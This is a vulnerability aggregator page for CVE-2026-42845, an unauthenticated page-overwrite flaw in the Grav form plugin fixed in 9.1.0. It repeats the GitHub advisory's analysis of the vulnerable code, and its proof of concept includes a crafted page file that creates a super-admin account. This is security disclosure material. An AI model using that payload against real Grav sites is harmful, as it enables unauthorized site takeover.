CVE-2026-42845
Grav: Anonymous Page Content Overwrite via Form File Upload filename Override
The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (md, yaml, yml, json, twig, ini) regardless of the configurable dangerous-extensions list. A permissive accept policy combined with the default destination: self@ could otherwise let an attacker overwrite the page's own .md and pivot to super-admin via a process: save action. This vulnerability is fixed in 9.1.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.7
Grav: Anonymous Page Content Overwrite via Form File Upload filename Override
The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (md, yaml, yml, json, twig, ini) regardless of the configurable dangerous-extensions list. A permissive accept policy combined with the default destination: self@ could otherwise let an attacker overwrite the page's own .md and pivot to super-admin via a process: save action. This vulnerability is fixed in 9.1.0.
- Record
CVE-2026-42845- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-73
- Updated
- 2026-11-02
EUVDEUVD-2026-29129
7.7
The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (md, yaml, yml, json, twig, ini) regardless of the configurable dangerous-extensions list. A permissive accept policy combined with the default destination: self@ could otherwise let an attacker overwrite the page's own .md and pivot to super-admin via a process: save action. This vulnerability is fixed in 9.1.0.
- Record
EUVD-2026-29129- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-w4rc-p66m-x6qq
7.7
Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override
Summary
(Tested on Form 9.0.3 released on April, 28th)
The Form plugin's file upload handler at user/plugins/form/classes/Form.php:583 accepts a POST-supplied filename parameter ($filename = $post['filename'] ?? $upload['file']['name']) that overrides the original uploaded filename. The override passes through Utils::checkFilename(), which blocks only a narrow extension list (.php*, .htm*, .js, .exe). Markdown (.md) is not blocked.
A page's directory under user/pages/ contains its .md content file (e.g. default.md, form.md). When a form's file upload field has accept: ['*'] (or any policy that admits text files), an unauthenticated visitor can:
- Upload arbitrary content with
filename=form.md(or other page-content filenames), - Submit the form to trigger
Form::copyFiles(), which overwrites the page's own.mdfile.
Details
Vulnerable code path
user/plugins/form/classes/Form.php:580-606 (in uploadFiles()):
$grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post]));
$upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true);
$filename = $post['filename'] ?? $upload['file']['name']; // ← POST-controlled
// ...
if (!Utils::checkFilename($filename)) { // ← extension blocklist only
return ['status' => 'error', 'message' => 'Bad filename'];
}
Utils::checkFilename() (system/src/Grav/Common/Utils.php:980) blocks .., slashes, null bytes, leading/trailing dots, and the uploads_dangerous_extensions list. The default list contains: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe. md is not on the list.
The MIME check (lines 627-654) uses Utils::getMimeByFilename($filename) against the blueprint's accept list. With accept: ['*'], all filenames pass.
After upload, the file is held in flash storage. When the form is submitted, Form::copyFiles() (user/plugins/form/classes/Form.php:1041-1074) calls $upload->moveTo($destination):
$destination = $upload->getDestination(); // ← determined at upload time:
// $destination = $page_dir . '/' . $filename
$folder = $filesystem->dirname($destination);
if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... }
$upload->moveTo($destination);
moveTo() does not check whether $destination is an existing protected file — if form.md (the page's own content) already exists at the destination, it is overwritten.
A Grav page's .md file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.
PoC
Setup :
Any existing page with a form like this — a "generic upload" form is the realistic case:
---
title: Upload your file
form:
name: upform
fields:
- {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}
- {name: notes, type: text}
buttons:
- {type: submit, value: Upload}
process:
- upload: true
- display: thanks
---
- Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path
/upload.
---
title: Pwned
form:
name: pwn
fields:
- {name: dummy, type: text}
buttons:
- {type: submit, value: Submit}
process:
- save:
folder: '../accounts'
filename: 'viaup.yaml'
extension: yaml
operation: create
body: |
state: enabled
email: [email protected]
fullname: Via Upload
title: Admin
access:
admin: { login: true, super: true }
site: { login: true }
hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq
-…
- Record
GHSA-w4rc-p66m-x6qq- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-20, CWE-73
- Updated
- 2026-11-02
NVD
7.7
The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (md, yaml, yml, json, twig, ini) regardless of the configurable dangerous-extensions list. A permissive accept policy combined with the default destination: self@ could otherwise let an attacker overwrite the page's own .md and pivot to super-admin via a process: save action. This vulnerability is fixed in 9.1.0.
- Record
CVE-2026-42845- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-73
- Updated
- 2026-11-02
OSV
7.7
Grav: Anonymous Page Content Overwrite via Form File Upload filename Override
The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (md, yaml, yml, json, twig, ini) regardless of the configurable dangerous-extensions list. A permissive accept policy combined with the default destination: self@ could otherwise let an attacker overwrite the page's own .md and pivot to super-admin via a process: save action. This vulnerability is fixed in 9.1.0.
- Record
CVE-2026-42845- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-73
- Updated
- 2026-11-02
OSVGHSA-w4rc-p66m-x6qq
7.7
Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override
Summary
(Tested on Form 9.0.3 released on April, 28th)
The Form plugin's file upload handler at user/plugins/form/classes/Form.php:583 accepts a POST-supplied filename parameter ($filename = $post['filename'] ?? $upload['file']['name']) that overrides the original uploaded filename. The override passes through Utils::checkFilename(), which blocks only a narrow extension list (.php*, .htm*, .js, .exe). Markdown (.md) is not blocked.
A page's directory under user/pages/ contains its .md content file (e.g. default.md, form.md). When a form's file upload field has accept: ['*'] (or any policy that admits text files), an unauthenticated visitor can:
- Upload arbitrary content with
filename=form.md(or other page-content filenames), - Submit the form to trigger
Form::copyFiles(), which overwrites the page's own.mdfile.
Details
Vulnerable code path
user/plugins/form/classes/Form.php:580-606 (in uploadFiles()):
$grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post]));
$upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true);
$filename = $post['filename'] ?? $upload['file']['name']; // ← POST-controlled
// ...
if (!Utils::checkFilename($filename)) { // ← extension blocklist only
return ['status' => 'error', 'message' => 'Bad filename'];
}
Utils::checkFilename() (system/src/Grav/Common/Utils.php:980) blocks .., slashes, null bytes, leading/trailing dots, and the uploads_dangerous_extensions list. The default list contains: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe. md is not on the list.
The MIME check (lines 627-654) uses Utils::getMimeByFilename($filename) against the blueprint's accept list. With accept: ['*'], all filenames pass.
After upload, the file is held in flash storage. When the form is submitted, Form::copyFiles() (user/plugins/form/classes/Form.php:1041-1074) calls $upload->moveTo($destination):
$destination = $upload->getDestination(); // ← determined at upload time:
// $destination = $page_dir . '/' . $filename
$folder = $filesystem->dirname($destination);
if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... }
$upload->moveTo($destination);
moveTo() does not check whether $destination is an existing protected file — if form.md (the page's own content) already exists at the destination, it is overwritten.
A Grav page's .md file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.
PoC
Setup :
Any existing page with a form like this — a "generic upload" form is the realistic case:
---
title: Upload your file
form:
name: upform
fields:
- {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}
- {name: notes, type: text}
buttons:
- {type: submit, value: Upload}
process:
- upload: true
- display: thanks
---
- Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path
/upload.
---
title: Pwned
form:
name: pwn
fields:
- {name: dummy, type: text}
buttons:
- {type: submit, value: Submit}
process:
- save:
folder: '../accounts'
filename: 'viaup.yaml'
extension: yaml
operation: create
body: |
state: enabled
email: [email protected]
fullname: Via Upload
title: Admin
access:
admin: { login: true, super: true }
site: { login: true }
hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq
-…
- Record
GHSA-w4rc-p66m-x6qq- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-20, CWE-73
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
getgrav/grav-plugin-formPackagist |
before 9.1.0 | 9.1.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-42845 is a high vulnerability (CVSS 7.7) in Getgrav Grav-plugin-form, published May 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.74%, the 54th percentile. Fixed in getgrav/grav-plugin-form 9.1.0.
References
github.com/getgrav/grav/security/advisories/GHSA-w4rc-p66m-x6qq
github.com/getgrav/grav-plugin-form/commit/48bacc4187e1cff815000e526d5ca2878484867f
nvd.nist.gov/vuln/detail/CVE-2026-42845
github.com/advisories/GHSA-w4rc-p66m-x6qq
github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42845.json
github.com/getgrav/grav
Left out here: the rest of 2 source descriptions. The JSON record has them.